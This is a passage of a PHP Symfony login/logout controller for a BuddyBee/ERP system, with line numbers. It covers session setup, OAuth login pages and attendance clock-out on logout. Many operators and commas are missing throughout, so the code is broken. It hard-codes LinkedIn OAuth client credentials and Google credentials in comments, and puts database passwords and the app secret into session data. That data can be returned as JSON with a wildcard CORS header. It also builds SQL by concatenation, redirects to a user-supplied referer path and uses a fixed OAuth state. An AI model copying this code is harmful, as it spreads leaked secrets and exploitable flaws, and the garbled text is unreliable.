  5425.                                     $company_locale $companyList[$c]['locale'];
  5426.                                     $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  5427.                                     $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  5428.                                 }
  5429.                             }
  5430.                         }
  5431.                     }
  5432.                     if (count($position_list_array) > 1) {
  5433.                         $userForcedRoute 'user_login_position';
  5434. //                        return $this->redirectToRoute("user_login_position");
  5435.                     } else {
  5436.                     }
  5437.                 }
  5438.                 if ($userType == UserConstants::USER_TYPE_APPLICANT ||
  5439.                     $userType == UserConstants::USER_TYPE_GENERAL ||
  5440.                     $userType == UserConstants::USER_TYPE_SYSTEM
  5441.                 ) {
  5442.                     $session_data = array(
  5443.                         UserConstants::USER_ID => $userId,
  5444.                         UserConstants::USER_EMPLOYEE_ID => $employeeId,
  5445.                         UserConstants::APPLICANT_ID => $applicantId,
  5446.                         UserConstants::USER_CURRENT_TASK_ID => $currentTaskId,
  5447.                         UserConstants::USER_CURRENT_PLANNING_ITEM_ID => $currentPlanningItemId,
  5448.                         UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTH => json_encode($currentMonthHolidayList),
  5449.                         UserConstants::USER_HOLIDAY_CALENDAR_ID => $currentHolidayCalendarId,
  5450.                         UserConstants::SUPPLIER_ID => $supplierId,
  5451.                         UserConstants::CLIENT_ID => $clientId,
  5452.                         UserConstants::USER_TYPE => $userType,
  5453.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $lastSettingsUpdatedTs == null $lastSettingsUpdatedTs,
  5454.                         UserConstants::IS_CONSULTANT => $isConsultant,
  5455.                         UserConstants::IS_BUDDYBEE_RETAILER => $isRetailer,
  5456.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $retailerLevel,
  5457.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $adminLevel,
  5458.                         UserConstants::IS_BUDDYBEE_MODERATOR => $isModerator,
  5459.                         UserConstants::IS_BUDDYBEE_ADMIN => $isAdmin,
  5460.                         UserConstants::USER_EMAIL => $userEmail == null "" $userEmail,
  5461.                         UserConstants::USER_IMAGE => $userImage == null "" $userImage,
  5462.                         UserConstants::USER_NAME => $userFullName,
  5463.                         UserConstants::USER_DEFAULT_ROUTE => $userDefaultRoute,
  5464.                         UserConstants::USER_COMPANY_ID => $userCompanyId,
  5465.                         UserConstants::USER_COMPANY_ID_LIST => json_encode($company_id_list),
  5466.                         UserConstants::USER_COMPANY_NAME_LIST => json_encode($company_name_list),
  5467.                         UserConstants::USER_COMPANY_IMAGE_LIST => json_encode($company_image_list),
  5468.                         UserConstants::USER_APP_ID => $appIdFromUserName,
  5469.                         UserConstants::USER_POSITION_LIST => json_encode($position_list_array),
  5470.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $allModuleAccessFlag,
  5471.                         UserConstants::SESSION_SALT => uniqid(mt_rand()),
  5472.                         UserConstants::APPLICATION_SECRET => $this->container->getParameter('secret'),
  5473.                         UserConstants::USER_GOC_ID => $gocId,
  5474.                         UserConstants::USER_DB_NAME => $gocDbName,
  5475.                         UserConstants::USER_DB_USER => $gocDbUser,
  5476.                         UserConstants::USER_DB_PASS => $gocDbPass,
  5477.                         UserConstants::USER_DB_HOST => $gocDbHost,
  5478.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $product_name_display_type,
  5479.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  5480.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  5481.                         UserConstants::USER_LOGIN_ID => $loginID,
  5482.                         UserConstants::USER_CURRENT_POSITION => $curr_position_id,
  5483.                         UserConstants::USER_ROUTE_LIST => json_encode($route_list_array),
  5484.                         UserConstants::USER_PROHIBIT_LIST => json_encode($prohibit_list_array),
  5485.                         'relevantRequiredPromptFields' => json_encode($currRequiredPromptFields),
  5486.                         'triggerPromptInfoModalFlag' => empty($currRequiredPromptFields) ? 1,
  5487.                         'TRIGGER_RESET_PASSWORD' => $triggerResetPassword,
  5488.                         'IS_EMAIL_VERIFIED' => $isEmailVerified,
  5489.                         'REMEMBERME' => $remember_me,
  5490.                         'BUDDYBEE_BALANCE' => $buddybeeBalance,
  5491.                         'BUDDYBEE_COIN_BALANCE' => $buddybeeCoinBalance,
  5492.                         'oAuthToken' => $oAuthToken,
  5493.                         'locale' => $locale,
  5494.                         'firebaseToken' => $firebaseToken,
  5495.                         'token' => $session->get('token'),
  5496.                         'firstLogin' => $firstLogin,
  5497.                         'oAuthImage' => $oAuthImage,
  5498.                         'appIdList' => json_encode($appIdList),
  5499.                         'branchIdList' => json_encode($branchIdList),
  5500.                         'branchId' => $branchId,
  5501.                         'companyIdListByAppId' => json_encode($companyIdListByAppId),
  5502.                         'companyNameListByAppId' => json_encode($companyNameListByAppId),
  5503.                         'companyImageListByAppId' => json_encode($companyImageListByAppId),
  5504.                         'userCompanyDarkVibrantList' => json_encode($company_dark_vibrant_list),
  5505.                         'userCompanyVibrantList' => json_encode($company_vibrant_list),
  5506.                         'userCompanyLightVibrantList' => json_encode($company_light_vibrant_list),
  5507.                     );
  5508.                     if ($systemType == '_CENTRAL_') {
  5509.                         $accessList = [];
  5510. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  5511.                         foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  5512.                             foreach ($thisUserUserTypes as $thisUserUserType) {
  5513.                                 if (isset($gocDataListByAppId[$thisUserAppId])) {
  5514.                                     $d = array(
  5515.                                         'userType' => $thisUserUserType,
  5516.                                         'globalId' => $globalId,
  5517.                                         'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  5518.                                         'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  5519.                                         'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  5520.                                         'systemType' => '_ERP_',
  5521.                                         'companyId' => 1,
  5522.                                         'appId' => $thisUserAppId,
  5523.                                         'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  5524.                                         'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  5525.                                         'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  5526.                                                 array(
  5527.                                                     'globalId' => $globalId,
  5528.                                                     'appId' => $thisUserAppId,
  5529.                                                     'authenticate' => 1,
  5530.                                                     'userType' => $thisUserUserType
  5531.                                                 )
  5532.                                             )
  5533.                                         ),
  5534.                                         'userCompanyList' => [
  5535.                                         ]
  5536.                                     );
  5537.                                     $accessList[] = $d;
  5538.                                 }
  5539.                             }
  5540.                         }
  5541.                         $accessList $this->appendCentralCustomerAccessList($accessList, (int)$globalId);
  5542.                         $session_data['userAccessList'] = $accessList;
  5543.                     }
  5544.                     $ultimateData System::setSessionForUser($em_goc,
  5545.                         $session,
  5546.                         $session_data,
  5547.                         $config
  5548.                     );
  5549. //                    $tokenData = MiscActions::CreateTokenFromSessionData($em_goc, $session_data);
  5550.                     $session_data $ultimateData['sessionData'];
  5551.                     $session_data $this->filterClientSessionData($session_data);
  5552.                     $token $ultimateData['token'];
  5553.                     $session->set('token'$token);
  5554.                     if ($systemType == '_CENTRAL_') {
  5555.                         $session->set('csToken'$token);
  5556.                     } else {
  5557.                         $session->set('csToken'$csToken);
  5558.                     }
  5559.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == || $request->query->get('remoteVerify'0) == 1) {
  5560.                         $session->set('remoteVerified'1);
  5561.                         $response = new JsonResponse(array(
  5562.                             'token' => $token,
  5563.                             'uid' => $session->get(UserConstants::USER_ID),
  5564.                             'session' => $session,
  5565.                             'success' => true,
  5566.                             'session_data' => $session_data,
  5567.                         ));
  5568.                         $response->headers->set('Access-Control-Allow-Origin''*');
  5569.                         return $response;
  5570.                     }
  5571.                     //TEMP START
  5572.                     if ($systemType == '_CENTRAL_') {
  5573.                         return $this->redirectToRoute('central_landing');
  5574.                     }
  5575.                     //TREMP END
  5576.                     if ($userForcedRoute != '')
  5577.                         return $this->redirectToRoute($userForcedRoute);
  5578.                     if ($request->request->has('referer_path')) {
  5579.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  5580.                             return $this->redirect($request->request->get('referer_path'));
  5581.                         }
  5582.                     }
  5583.                     if ($request->query->has('refRoute')) {
  5584.                         if ($request->query->get('refRoute') == '8917922')
  5585.                             $userDefaultRoute 'apply_for_consultant';
  5586.                     }
  5587.                     if ($userDefaultRoute == "" || $userDefaultRoute == "" || $userDefaultRoute == null)
  5588.                         $userDefaultRoute 'dashboard';
  5589.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  5590.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  5591.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  5592.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  5593.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5594.                                 return $this->redirect($red);
  5595.                             }
  5596.                         } else {
  5597.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5598.                         }
  5599.                     } else
  5600.                         return $this->redirectToRoute($userDefaultRoute);
  5601.                 }
  5602.             }
  5603.         }
  5604.         $session $request->getSession();
  5605.         if (isset($encData['appId'])) {
  5606.             if (isset($gocDataListByAppId[$encData['appId']]))
  5607.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  5608.         }
  5609.         $routeName $request->attributes->get('_route');
  5610.         if ($systemType == '_BUDDYBEE_' && $routeName != 'erp_login') {
  5611.             $refRoute '';
  5612.             $message '';
  5613.             $errorField '_NONE_';
  5614. //            if ($request->query->has('message')) {
  5615. //                $message = $request->query->get('message');
  5616. //
  5617. //            }
  5618. //            if ($request->query->has('errorField')) {
  5619. //                $errorField = $request->query->get('errorField');
  5620. //
  5621. //            }
  5622.             if ($refRoute != '') {
  5623.                 if ($refRoute == '8917922')
  5624.                     $redirectRoute 'apply_for_consultant';
  5625.             }
  5626.             if ($request->query->has('refRoute')) {
  5627.                 $refRoute $request->query->get('refRoute');
  5628.                 if ($refRoute == '8917922')
  5629.                     $redirectRoute 'apply_for_consultant';
  5630.             }
  5631.             $google_client = new Google_Client();
  5632. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  5633. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  5634.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  5635.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  5636.             } else {
  5637.                 $url $this->generateUrl(
  5638.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  5639.                 );
  5640.             }
  5641.             $selector BuddybeeConstant::$selector;
  5642.             $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  5643. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  5644.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  5645. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  5646.             $google_client->setRedirectUri($url);
  5647.             $google_client->setAccessType('offline');        // offline access
  5648.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  5649.             $google_client->setRedirectUri($url);
  5650.             $google_client->addScope('email');
  5651.             $google_client->addScope('profile');
  5652.             $google_client->addScope('openid');
  5653.             return $this->render(
  5654.                 '@Authentication/pages/views/applicant_login.html.twig',
  5655.                 [
  5656.                     'page_title' => 'BuddyBee Login',
  5657.                     'oAuthLink' => $google_client->createAuthUrl(),
  5658.                     'redirect_url' => $url,
  5659.                     'message' => $message,
  5660.                     'errorField' => '',
  5661.                     'systemType' => $systemType,
  5662.                     'ownServerId' => $ownServerId,
  5663.                     'refRoute' => $refRoute,
  5664.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  5665.                     'selector' => $selector
  5666.                 ]
  5667.             );
  5668.         } else if ($systemType == '_CENTRAL_' && $routeName != 'erp_login') {
  5669.             $refRoute '';
  5670.             $message '';
  5671.             $errorField '_NONE_';
  5672. //            if ($request->query->has('message')) {
  5673. //                $message = $request->query->get('message');
  5674. //
  5675. //            }
  5676. //            if ($request->query->has('errorField')) {
  5677. //                $errorField = $request->query->get('errorField');
  5678. //
  5679. //            }
  5680.             if ($refRoute != '') {
  5681.                 if ($refRoute == '8917922')
  5682.                     $redirectRoute 'apply_for_consultant';
  5683.             }
  5684.             if ($request->query->has('refRoute')) {
  5685.                 $refRoute $request->query->get('refRoute');
  5686.                 if ($refRoute == '8917922')
  5687.                     $redirectRoute 'apply_for_consultant';
  5688.             }
  5689.             $google_client = new Google_Client();
  5690. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  5691. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  5692.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  5693.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  5694.             } else {
  5695.                 $url $this->generateUrl(
  5696.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  5697.                 );
  5698.             }
  5699.             $selector BuddybeeConstant::$selector;
  5700. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  5701.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  5702. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  5703.             $google_client->setRedirectUri($url);
  5704.             $google_client->setAccessType('offline');        // offline access
  5705.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  5706.             $google_client->setRedirectUri($url);
  5707.             $google_client->addScope('email');
  5708.             $google_client->addScope('profile');
  5709.             $google_client->addScope('openid');
  5710.             return $this->render(
  5711.                 '@Authentication/pages/views/central_login.html.twig',
  5712.                 [
  5713.                     'page_title' => 'Central Login',
  5714.                     'oAuthLink' => $google_client->createAuthUrl(),
  5715.                     'redirect_url' => $url,
  5716.                     'message' => $message,
  5717.                     'systemType' => $systemType,
  5718.                     'ownServerId' => $ownServerId,
  5719.                     'errorField' => '',
  5720.                     'refRoute' => $refRoute,
  5721.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  5722.                     'selector' => $selector
  5723.                 ]
  5724.             );
  5725.         } else if ($systemType == '_ERP_' && ($this->container->hasParameter('system_auth_type') ? $this->container->getParameter('system_auth_type') : '_LOCAL_AUTH_') == '_CENTRAL_AUTH_') {
  5726.             return $this->redirect(GeneralConstant::HONEYBEE_CENTRAL_SERVER '/central_landing');
  5727.         } else
  5728.             return $this->render(
  5729.                 '@Authentication/pages/views/login_new.html.twig',
  5730.                 array(
  5731.                     "message" => $message,
  5732.                     'page_title' => 'Login',
  5733.                     'gocList' => $gocDataListForLoginWeb,
  5734.                     'gocId' => $gocId != $gocId '',
  5735.                     'systemType' => $systemType,
  5736.                     'ownServerId' => $ownServerId,
  5737.                     'encData' => $encData,
  5738.                     //                'ref'=>$request->
  5739.                 )
  5740.             );
  5741.     }
  5742.     public function initiateAdminAction(Request $request$remoteVerify 0)
  5743.     {
  5744.         $em $this->getDoctrine()->getManager();
  5745.         MiscActions::initiateAdminUser($em);
  5746.         $this->addFlash(
  5747.             'success',
  5748.             'The Action was Successful.'
  5749.         );
  5750.         return $this->redirectToRoute('user_login');
  5751.     }
  5752.     public function LogoutAction(Request $request$remoteVerify 0)
  5753.     {
  5754.         $session $request->getSession();
  5755.         $em_goc $this->getDoctrine()->getManager('company_group');
  5756.         $session $request->getSession();
  5757.         $token $request->headers->get('auth-token'$request->request->get('token'$request->request->get('hbeeSessionToken''')));
  5758. //        return new JsonResponse([$token]);
  5759.         if ($session->get(UserConstants::USER_ID0) == 0) {
  5760. //                    return new JsonResponse([$token]);
  5761.             $to_set_session_data MiscActions::GetSessionDataFromToken($em_goc$token)['sessionData'];
  5762.             if ($to_set_session_data != null) {
  5763.                 foreach ($to_set_session_data as $k => $d) {
  5764.                     //check if mobile
  5765.                     $session->set($k$d);
  5766.                 }
  5767.             } else {
  5768.                 $hbeeErrorCode ApiConstants::ERROR_TOKEN_EXPIRED;
  5769.             }
  5770.         }
  5771.         $userId $session->get(UserConstants::USER_ID);
  5772.         $currentTime = new \Datetime();
  5773.         $currTs $currentTime->format('U');
  5774.         $routeName $request->attributes->get('_route');
  5775.         $currentTaskId $session->get(UserConstants::USER_CURRENT_TASK_ID0);
  5776.         $currentPlanningItemId $session->get(UserConstants::USER_CURRENT_PLANNING_ITEM_ID0);
  5777.         if ($request->query->get('endCurrentTask'1) == 1) {
  5778.             if (
  5779.                 ($currentTaskId != && $currentTaskId != null && $currentTaskId != '') &&
  5780.                 ($session->get(UserConstants::USER_TYPE) == UserConstants::USER_TYPE_GENERAL ||
  5781.                     $session->get(UserConstants::USER_TYPE) == UserConstants::USER_TYPE_SYSTEM)
  5782.             ) {
  5783.                 $gocId $session->get(UserConstants::USER_GOC_ID);
  5784.                 $appId $session->get(UserConstants::USER_APP_ID);
  5785.                 $acknowledgementService $this->get('app.public_document_acknowledgement_service');
  5786.                 list($em$goc) = $acknowledgementService->getPublicDocumentEntityManager($appId);
  5787.                 $stmt $em->getConnection()->executeStatement('UPDATE task_log set working_status=2, actual_end_ts=' $currTs ' where working_status=1 and user_id= ' $session->get(UserConstants::USER_ID) . ' ;');
  5788.                 if (1) {
  5789.                     $session->set(UserConstants::USER_CURRENT_TASK_ID0);
  5790.                     $session->set(UserConstants::USER_CURRENT_PLANNING_ITEM_ID0);
  5791.                     $empId $session->get(UserConstants::USER_EMPLOYEE_ID0);
  5792.                     $currTime = new \DateTime();
  5793.                     $options = array(
  5794.                         'notification_enabled' => $this->container->getParameter('notification_enabled'),
  5795.                         'notification_server' => $this->container->getParameter('notification_server'),
  5796.                     );
  5797.                     $positionsArray = [
  5798.                         array(
  5799.                             'employeeId' => $empId,
  5800.                             'userId' => $session->get(UserConstants::USER_ID0),
  5801.                             'sysUserId' => $session->get(UserConstants::USER_ID0),
  5802.                             'timeStamp' => $currTime->format(DATE_ISO8601),
  5803.                             'lat' => 23.8623834,
  5804.                             'lng' => 90.3979294,
  5805.                             'markerId' => HumanResourceConstant::ATTENDANCE_MARKER_CLOCK_OUT,
  5806. //                            'userId'=>$session->get(UserConstants::USER_ID, 0),
  5807.                         )
  5808.                     ];
  5809.                     if (is_string($positionsArray)) $positionsArray json_decode($positionsArraytrue);
  5810.                     if ($positionsArray == null$positionsArray = [];
  5811.                     $dataByAttId = [];
  5812.                     $workPlaceType '_UNSET_';
  5813.                     foreach ($positionsArray as $findex => $d) {
  5814.                         $sysUserId 0;
  5815.                         $userId 0;
  5816.                         $empId 0;
  5817.                         $dtTs 0;
  5818.                         $timeZoneStr '+0000';
  5819.                         if (isset($d['employeeId'])) $empId $d['employeeId'];
  5820.                         if (isset($d['userId'])) $userId $d['userId'];
  5821.                         if (isset($d['sysUserId'])) $sysUserId $d['sysUserId'];
  5822.                         if (isset($d['tsMilSec'])) {
  5823.                             $dtTs ceil(($d['tsMilSec']) / 1000);
  5824.                         }
  5825.                         if ($dtTs == 0) {
  5826.                             $currTsTime = new \DateTime();
  5827.                             $dtTs $currTsTime->format('U');
  5828.                         } else {
  5829.                             $currTsTime = new \DateTime('@' $dtTs);
  5830.                         }
  5831.                         $currTsTime->setTimezone(new \DateTimeZone('UTC'));
  5832.                         $attDate = new \DateTime($currTsTime->format('Y-m-d') . ' 00:00:00' $timeZoneStr);
  5833.                         $EmployeeAttendance $this->getDoctrine()
  5834.                             ->getRepository(EmployeeAttendance::class)
  5835.                             ->findOneBy(array('employeeId' => $empId'date' => $attDate));
  5836.                         if (!$EmployeeAttendance) {
  5837.                             continue;
  5838.                         } else {
  5839.                         }
  5840.                         $attendanceInfo HumanResource::StoreAttendance($em$empId$sysUserId$request$EmployeeAttendance$attDate$dtTs$timeZoneStr$d['markerId']);
  5841.                         if ($d['markerId'] == HumanResourceConstant::ATTENDANCE_MARKER_CLOCK_OUT) {
  5842.                             $workPlaceType '_STATIC_';
  5843.                         }
  5844.                         if (!isset($dataByAttId[$attendanceInfo->getId()]))
  5845.                             $dataByAttId[$attendanceInfo->getId()] = array(
  5846.                                 'attendanceInfo' => $attendanceInfo,
  5847.                                 'empId' => $empId,
  5848.                                 'lat' => 0,
  5849.                                 'lng' => 0,
  5850.                                 'address' => 0,
  5851.                                 'sysUserId' => $sysUserId,
  5852.                                 'companyId' => $request->getSession()->get(UserConstants::USER_COMPANY_ID),
  5853.                                 'appId' => $request->getSession()->get(UserConstants::USER_APP_ID),
  5854.                                 'positionArray' => []
  5855.                             );
  5856.                         $posData = array(
  5857.                             'ts' => $dtTs,
  5858.                             'lat' => $d['lat'],
  5859.                             'lng' => $d['lng'],
  5860.                             'marker' => $d['markerId'],
  5861.                             'src' => 2,
  5862.                         );
  5863.                         $posDataArray = array(
  5864.                             $dtTs,
  5865.                             $d['lat'],
  5866.                             $d['lng'],
  5867.                             $d['markerId'],
  5868.                             2
  5869.                         );
  5870.                         $dataByAttId[$attendanceInfo->getId()]['markerId'] = $d['markerId'];
  5871.                         //this markerId will be calclulted and modified to check if user is in our out of office/workplace later
  5872.                         $dataByAttId[$attendanceInfo->getId()]['attendanceInfo'] = $attendanceInfo;
  5873.                         $dataByAttId[$attendanceInfo->getId()]['positionArray'][] = $posData;
  5874.                         $dataByAttId[$attendanceInfo->getId()]['lat'] = $d['lat'];  //for last lat lng etc
  5875.                         $dataByAttId[$attendanceInfo->getId()]['lng'] = $d['lng'];  //for last lat lng etc
  5876.                         if (isset($d['address']))
  5877.                             $dataByAttId[$attendanceInfo->getId()]['address'] = $d['address'];  //for last lat lng etc
  5878. //                $dataByAttId[$attendanceInfo->getId()]['positionArray'][]=$posDataArray;
  5879.                     }
  5880.                     $response = array(
  5881.                         'success' => true,
  5882.                     );
  5883.                     foreach ($dataByAttId as $attInfoId => $d) {
  5884.                         $response HumanResource::setAttendanceLogFlutterApp($em,
  5885.                             $d['empId'],
  5886.                             $d['sysUserId'],
  5887.                             $d['companyId'],
  5888.                             $d['appId'],
  5889.                             $request,
  5890.                             $d['attendanceInfo'],
  5891.                             $options,
  5892.                             $d['positionArray'],
  5893.                             $d['lat'],
  5894.                             $d['lng'],
  5895.                             $d['address'],
  5896.                             $d['markerId']
  5897.                         );
  5898.                     }
  5899.                 }
  5900.             }
  5901.         }
  5902.         if ($token != '')
  5903.             MiscActions::DeleteToken($em_goc$token);
  5904.         $session->clear();
  5905.         $session->set('CLEARLOGIN'1);
  5906.         if (strripos($request->server->get('HTTP_REFERER'), 'select_data') === false) {
  5907.             if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != '') {
  5908.                 $referrerPath parse_url($request->server->get('HTTP_REFERER'), PHP_URL_PATH);
  5909.                 $referrerPath strtolower($referrerPath === false || $referrerPath === null $request->server->get('HTTP_REFERER') : $referrerPath);
  5910.                 if (strripos($referrerPath'/auth/') === false && strripos($referrerPath'undefined') === false
  5911.                     && strripos($referrerPath'signature_status') === false && strripos($referrerPath'/api/') === false) {
  5912.                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN'$request->server->get('HTTP_REFERER'));
  5913.                 } else {
  5914.                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5915.                 }
  5916.             }
  5917.         } else {
  5918.             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5919.         }
  5920. //        $request->headers->setCookie(Cookie::create('CLEARLOGINCOOKIE', 1
  5921. //            )
  5922. //
  5923. //        );
  5924.         if ($routeName == 'app_logout_api' || $request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == || $request->query->get('remoteVerify'0) == || $request->get('returnJson'0) == 1) {
  5925.             if ($userId) {
  5926.                 return new JsonResponse(array(
  5927.                     "success" => empty($session->get(UserConstants::USER_ID)) ? true false,
  5928.                     "message" => "Logout Successfull!",
  5929.                     'session_data' => [],
  5930.                     'userId' => $userId
  5931.                 ));
  5932.             } else {
  5933.                 return new JsonResponse(array(
  5934.                     "success" => empty($session->get(UserConstants::USER_ID)) ? false true,
  5935.                     "message" => "Already Logout",
  5936.                     'session_data' => [],
  5937.                     'userId' => $userId
  5938.                 ));
  5939.             }
  5940.         }
  5941.         return $this->redirectToRoute("dashboard");
  5942.     }
  5943.     public function applicantLoginAction(Request $request$encData ''$remoteVerify 0)
  5944.     {
  5945.         $session $request->getSession();
  5946.         $email $request->getSession()->get('userEmail');
  5947.         $sessionUserId $request->getSession()->get('userId');
  5948.         $oAuthData = [];
  5949. //    $encData='';
  5950.         $em $this->getDoctrine()->getManager('company_group');
  5951.         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  5952.         $redirectRoute 'dashboard';
  5953.         if ($encData != '') {
  5954.             if ($encData == '8917922')
  5955.                 $redirectRoute 'apply_for_consultant';
  5956.         }
  5957.         if ($request->query->has('encData')) {
  5958.             $encData $request->query->get('encData');
  5959.             if ($encData == '8917922')
  5960.                 $redirectRoute 'apply_for_consultant';
  5961.         }
  5962.         $message '';
  5963.         $errorField '_NONE_';
  5964.         if ($request->query->has('message')) {
  5965.             $message $request->query->get('message');
  5966.         }
  5967.         if ($request->query->has('errorField')) {
  5968.             $errorField $request->query->get('errorField');
  5969.         }
  5970.         if ($request->request->has('oAuthData')) {
  5971.             $oAuthData $request->request->get('oAuthData', []);
  5972.         } else {
  5973.             $oAuthData = [
  5974.                 'email' => $request->request->get('email'''),
  5975.                 'uniqueId' => $request->request->get('uniqueId'''),
  5976.                 'oAuthHash' => '_NONE_',
  5977.                 'image' => $request->request->get('image'''),
  5978.                 'emailVerified' => $request->request->get('emailVerified'''),
  5979.                 'name' => $request->request->get('name'''),
  5980.                 'firstName' => $request->request->get('firstName'''),
  5981.                 'lastName' => $request->request->get('lastName'''),
  5982.                 'type' => 1,
  5983.                 'token' => $request->request->get('oAuthtoken'''),
  5984.             ];
  5985.         }
  5986.         $isApplicantExist null;
  5987.         if ($email) {
  5988.             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  5989.                 $isApplicantExist $applicantRepo->findOneBy([
  5990.                     'applicantId' => $sessionUserId
  5991.                 ]);
  5992.             } else
  5993.                 return $this->redirectToRoute($redirectRoute);
  5994.         }
  5995.         $google_client = new Google_Client();
  5996. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  5997. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  5998.         if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  5999.             $url $this->generateUrl('user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL);
  6000.         } else {
  6001.             $url $this->generateUrl(
  6002.                 'user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL
  6003.             );
  6004.         }
  6005.         $selector BuddybeeConstant::$selector;
  6006.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  6007.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  6008. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  6009.         $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  6010. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  6011.         $google_client->setRedirectUri($url);
  6012.         $google_client->setAccessType('offline');        // offline access
  6013.         $google_client->setIncludeGrantedScopes(true);   // incremental auth
  6014.         $google_client->addScope('email');
  6015.         $google_client->addScope('profile');
  6016.         $google_client->addScope('openid');
  6017. //    $google_client->setRedirectUri('http://localhost/applicant_login');
  6018.         //linked in 1st
  6019.         if (isset($_GET["code"]) && isset($_GET["state"])) {
  6020.             $curl curl_init();
  6021.             curl_setopt_array($curl, array(
  6022.                 CURLOPT_RETURNTRANSFER => true,   // return web page
  6023.                 CURLOPT_HEADER => false,  // don't return headers
  6024.                 CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6025.                 CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6026.                 CURLOPT_ENCODING => "",     // handle compressed
  6027.                 CURLOPT_USERAGENT => "test"// name of client
  6028.                 CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6029.                 CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6030.                 CURLOPT_TIMEOUT => 120,    // time-out on response
  6031.                 CURLOPT_URL => 'https://www.linkedin.com/oauth/v2/accessToken',
  6032.                 CURLOPT_USERAGENT => 'InnoPM',
  6033.                 CURLOPT_POSTFIELDS => urldecode("grant_type=authorization_code&code=" $_GET["code"] . "&redirect_uri=$url&client_id=86wi39zpo46wsl&client_secret=X59ktZnreWPomqIe"),
  6034.                 CURLOPT_POST => 1,
  6035.                 CURLOPT_HTTPHEADER => array(
  6036.                     'Content-Type: application/x-www-form-urlencoded'
